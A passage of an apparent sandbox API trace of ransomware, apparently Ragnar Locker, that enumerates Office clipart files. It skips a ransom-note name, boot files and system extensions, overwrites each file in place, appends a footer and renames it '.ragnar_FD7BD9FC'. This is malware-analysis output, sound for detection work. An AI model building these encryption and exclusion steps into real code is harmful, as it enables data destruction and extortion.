lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x412, lpOverlapped=0x0) returned 1 [0093.324] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.324] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x412, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.324] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x412, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x412, lpOverlapped=0x0) returned 1 [0093.324] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x412, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.325] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.325] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x412, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.325] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.325] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.325] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.325] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.325] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.325] GetProcessHeap () returned 0x580000 [0093.325] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.325] CloseHandle (hObject=0x104) returned 1 [0093.325] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" [0093.325] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.ragnar_FD7BD9FC" [0093.325] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143752.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.326] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0093.326] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.326] lstrcpyW (in: lpString1=0x1eab70, lpString2="J0143753.GIF" | out: lpString1="J0143753.GIF") returned="J0143753.GIF" [0093.326] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF") returned=".GIF" [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="autorun.inf") returned 1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="boot.ini") returned 1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="bootfont.bin") returned 1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="bootsect.bak") returned 1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="bootmgr") returned 1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="bootmgr.efi") returned 1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="bootmgfw.efi") returned 1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="desktop.ini") returned 1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="iconcache.db") returned 1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="ntldr") returned -1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="ntuser.dat") returned -1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="ntuser.dat.log") returned -1 [0093.326] lstrcmpiW (lpString1="J0143753.GIF", lpString2="ntuser.ini") returned -1 [0093.327] lstrcmpiW (lpString1="J0143753.GIF", lpString2="thumbs.db") returned -1 [0093.327] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.327] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.327] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.327] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.327] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.327] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.327] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif")) returned 0x20 [0093.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.327] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=7039) returned 1 [0093.327] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1b76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.328] GetProcessHeap () returned 0x580000 [0093.328] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.328] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.329] VirtualAlloc (lpAddress=0x0, dwSize=0x1b7f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.329] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.329] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.329] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b7f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1b7f, lpOverlapped=0x0) returned 1 [0093.330] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.330] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b7f, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.330] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b7f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1b7f, lpOverlapped=0x0) returned 1 [0093.330] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b7f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.330] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.331] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x1b7f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.331] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.331] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.331] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.331] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.331] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.331] GetProcessHeap () returned 0x580000 [0093.331] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.331] CloseHandle (hObject=0x104) returned 1 [0093.331] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" [0093.331] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.ragnar_FD7BD9FC" [0093.331] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143753.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.332] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0093.332] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.332] lstrcpyW (in: lpString1=0x1eab70, lpString2="J0143754.GIF" | out: lpString1="J0143754.GIF") returned="J0143754.GIF" [0093.332] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF") returned=".GIF" [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="autorun.inf") returned 1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="boot.ini") returned 1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="bootfont.bin") returned 1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="bootsect.bak") returned 1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="bootmgr") returned 1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="bootmgr.efi") returned 1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="bootmgfw.efi") returned 1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="desktop.ini") returned 1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="iconcache.db") returned 1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="ntldr") returned -1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="ntuser.dat") returned -1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="ntuser.dat.log") returned -1 [0093.332] lstrcmpiW (lpString1="J0143754.GIF", lpString2="ntuser.ini") returned -1 [0093.333] lstrcmpiW (lpString1="J0143754.GIF", lpString2="thumbs.db") returned -1 [0093.333] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.333] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.333] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.333] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.333] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.333] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.333] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif")) returned 0x20 [0093.333] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.333] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1709) returned 1 [0093.333] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x6a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.333] GetProcessHeap () returned 0x580000 [0093.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.333] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.335] VirtualAlloc (lpAddress=0x0, dwSize=0x6ad, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.335] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.335] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.335] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6ad, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x6ad, lpOverlapped=0x0) returned 1 [0093.335] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.335] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6ad, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.335] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6ad, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x6ad, lpOverlapped=0x0) returned 1 [0093.336] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ad, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.336] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.336] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x6ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.336] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.336] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.336] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.336] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.336] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.336] GetProcessHeap () returned 0x580000 [0093.336] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.336] CloseHandle (hObject=0x104) returned 1 [0093.336] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" [0093.336] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.ragnar_FD7BD9FC" [0093.336] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143754.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.337] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0093.337] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.337] lstrcpyW (in: lpString1=0x1eab70, lpString2="J0143758.GIF" | out: lpString1="J0143758.GIF") returned="J0143758.GIF" [0093.337] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF") returned=".GIF" [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="autorun.inf") returned 1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="boot.ini") returned 1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="bootfont.bin") returned 1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="bootsect.bak") returned 1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="bootmgr") returned 1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="bootmgr.efi") returned 1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="bootmgfw.efi") returned 1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="desktop.ini") returned 1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="iconcache.db") returned 1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="ntldr") returned -1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="ntuser.dat") returned -1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="ntuser.dat.log") returned -1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="ntuser.ini") returned -1 [0093.337] lstrcmpiW (lpString1="J0143758.GIF", lpString2="thumbs.db") returned -1 [0093.338] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.338] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.338] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.338] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.338] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.338] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.338] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif")) returned 0x20 [0093.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143758.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.338] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1695) returned 1 [0093.338] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x696, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.338] GetProcessHeap () returned 0x580000 [0093.338] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.338] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.340] VirtualAlloc (lpAddress=0x0, dwSize=0x69f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.340] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.340] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.340] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x69f, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x69f, lpOverlapped=0x0) returned 1 [0093.340] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.340] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x69f, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.340] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x69f, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x69f, 